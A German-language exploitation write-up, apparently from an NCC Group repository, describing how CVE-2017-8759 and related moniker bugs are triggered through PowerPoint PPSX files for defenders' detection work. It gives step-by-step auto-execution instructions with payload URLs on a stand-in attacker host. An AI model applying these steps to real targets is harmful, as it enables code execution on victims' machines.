nccgroup/cve-2017-8759NCC Group's Analyse und Ausnutzung von CVE-2017-8759 sowie weitere Verfeinerungen
Dieses Repository enthält Beispiel-Exploits für CVE-2017-8759 für Microsoft PowerPoint sowie eine Beschreibung, wie ähnliche Schwachstellen mit denselben Techniken ausgenutzt wurden und werden können.
Ziel der Veröffentlichung dieses Repositorys ist es, alternative Ausnutzungstechniken hervorzuheben, die Verteidigern derzeit möglicherweise nicht bekannt sind. Durch die Hervorhebung dieser alternativen Techniken hoffen wir, dass Verteidiger robuste Erkennungsmaßnahmen implementieren und sowohl Fehlalarme (im Fall der fälschlichen Identifizierung anderer Moniker-Exploits als CVE-2017-0199) als auch falsch negative Ergebnisse (wenn nur die RTF-Erkennungen im Fokus stehen) vermeiden können.
Im April, als ich die Nachricht hörte, dass eine neue nicht gepatchte Sicherheitslücke in freier Wildbahn ausgenutzt wurde, versuchte ich, den Exploit nachzubauen, damit Erkennungsregeln bereits vor der öffentlichen Bekanntgabe der Schwachstelle erstellt werden konnten. Damals hatte ich jedoch nur die Beschreibung der Sicherheitslücke aus den Blogbeiträgen von FireEye und McAfee. Aufgrund des Mangels an öffentlichen Details führte mich dies schließlich dazu, die Sicherheitslücke (wie sich herausstellte) mit einer völlig anderen Methode auszunutzen als der, die von dem in freier Wildbahn beobachteten „RTF-URL-Moniker"-Exploit verwendet wurde.
Etwa einen Monat später hob Haifei Li in seinem SyScan360-Vortrag die zweite Sicherheitslücke (auch bekannt als „PPSX-Script-Moniker") hervor, die er identifiziert und bereits im Januar 2017 gemeldet hatte. Diese wurde ebenfalls mit demselben CVE-2017-0199-Patch behoben, aber (sowohl vom Autor als auch später in freier Wildbahn) unter Verwendung des PPSX-Dateiformats ausgenutzt. Zu diesem Zeitpunkt war mir noch kein Angriff in freier Wildbahn bekannt, der den URL-Moniker-Bug über PPSX nutzte – da jedoch beide Fehler mit demselben CVE behoben wurden, gab (und gibt) es einige Verwirrung über die Erkennung dieser Exploits (später mehr dazu).
Schnellvorlauf bis September 2017: FireEye entdeckte eine weitere Sicherheitslücke, die das RTF-Format in Microsoft Word verwendete. Dies veranlasste mich, meinen vorherigen „PPSX-URL-Moniker"-Exploit erneut zu untersuchen, um herauszufinden, ob der neue „SOAP-Moniker"-Bug auch mit derselben PPSX-Technik ausnutzbar war.
Wie oben erwähnt, handelte es sich bei der vorherigen Sicherheitslücke (CVE-2017-0199) tatsächlich um zwei separate Schwachstellen, die von Microsoft unter derselben CVE-Nummer gepatcht wurden. Die erste (auch bekannt als „URL-Moniker"-Bug) wurde über RTF ausgenutzt, während die zweite (auch bekannt als „Script-Moniker"-Bug) eine völlig andere Technik verwendete und über das OOXML-Format, speziell PPSX, ausgenutzt wurde.
Wie ebenfalls bereits erwähnt, ist die OOXML-Technik nicht auf die Script-Moniker-Schwachstelle beschränkt und kann verwendet werden, um den „URL-Moniker", den „Script-Moniker" und die neue „SOAP-Moniker"-Schwachstelle auszunutzen.
Die Ausnutzung in OOXML ist recht einfach und nutzt einige Tricks, um das anfällige Objekt automatisch zu aktivieren. Zuerst werde ich den URL-Moniker-Exploit behandeln und dann erklären, wie er für die Script- und SOAP-Moniker (und möglicherweise in Zukunft weitere) aktualisiert werden kann.
Zuerst muss ein Link zu einer Datei eingebettet werden (bezeichnet als StdOleLink oder OLE2Link). Ich habe in meinem Exploit einen Link zu einer PowerPoint-Datei verwendet – wie unten gezeigt. Dies wird später benötigt, um den Moniker zu aktivieren.
Sobald der Link platziert wurde, muss der Pfad so geändert werden, dass er die Moniker-Zeichenfolge enthält. Im Fall des „URL-Moniker"-Bugs ist dies so einfach wie das Hinzufügen einer URL, die direkt auf eine HTA-Datei verweist (z. B. „http://attacker.com/evil.hta"). Für die Script-Moniker-Version können Sie die Zeichenfolge „script:https://attacker.com/evil.sct" verwenden. Der Dateipfad zum verlinkten Objekt wird an folgender Stelle gespeichert:
ppt\slides\_rels\slide1.xml.rels
Es reicht aus, diese einfach in eine Moniker-Zeichenfolge zu ändern, um die Sicherheitslücke auszulösen, wenn das verlinkte Objekt aktiviert wird. Dies geschieht jedoch nicht automatisch, es sei denn, Sie verwenden einen weiteren Trick.
Um das Objekt automatisch zu aktivieren, können Sie ein sogenanntes „OLE Verb" verwenden. Einfach ausgedrückt bewirkt dies, dass PowerPoint das Objekt „aktiviert", die Methode IMoniker::BindToObject() aufruft und schließlich die Ausführung Ihres Codes zur Folge hat (abhängig vom Moniker werden danach unterschiedliche Pfade eingeschlagen).
Um ein OLE Verb zu verwenden, wählen Sie einfach das eingebettete Objekt aus und gehen Sie zu:
Animationen -> Animation hinzufügen -> OLE-Aktionsverben -> Öffnen
Sobald die OLE-Verb-Animation erstellt ist, können Sie „Start: mit vorherigem" auswählen, um sicherzustellen, dass das Objekt sofort nach Start der Diashow aktiviert wird.
Wenn Sie an diesem Punkt das Dokument als PPTX speichern und öffnen, werden Sie aufgefordert, Links zu aktualisieren. Dies ist aus einem Ausnutzungsszenario unerwünscht.
Um dies zu umgehen, können Sie die Datei einfach als PPSX (PowerPoint-Diashow) speichern. Dadurch wird die Diashow beim Öffnen automatisch gestartet (und somit das OLE Verb ausgelöst, um Ihren Code auszuführen).
Wie im FireEye-Blogbeitrag beschrieben, liegt die Sicherheitslücke tatsächlich im .NET-Framework und nicht in Office selbst. Dies ist auf eine Code-Injection beim Parsen einer WSDL-Datei mit mehreren Adressdefinitionen zurückzuführen. Wenn eine CRLF-Sequenz injiziert wird, ist es möglich, beliebigen Code zur generierten C#-Datei hinzuzufügen, der später in eine DLL kompiliert und von der Office-Anwendung geladen wird.
Der Fehler selbst befindet sich in der Methode IsValidUrl in der Klasse WsdlParser von System.Runtime.Remoting. Vor dem CVE-2017-8759-Patch prüft diese Methode nicht auf CRLF-Zeichen und gibt einfach die unbereinigte Zeichenfolge zurück (nachdem sichergestellt wurde, dass die Zeichenfolge ordnungsgemäß zitiert ist), die dann in eine .cs-Datei zur Kompilierung durch csc.exe geschrieben wird. Dies bedeutet, dass ein Angreifer, der eine URL mit \r\n übergibt, beliebigen Code in die generierte C#-Datei injizieren kann. Der Grund, warum die CRLF-Injection funktioniert, ist, dass die Methode PrintClientProxy normalerweise versucht, nachfolgende Definitionen auszukommentieren, wenn eine WSDL-Datei mit mehreren Adressdefinitionen geparst wird, wie unten gezeigt.
Ungepatchtes IsValidUrl:
PrintClientProxy:
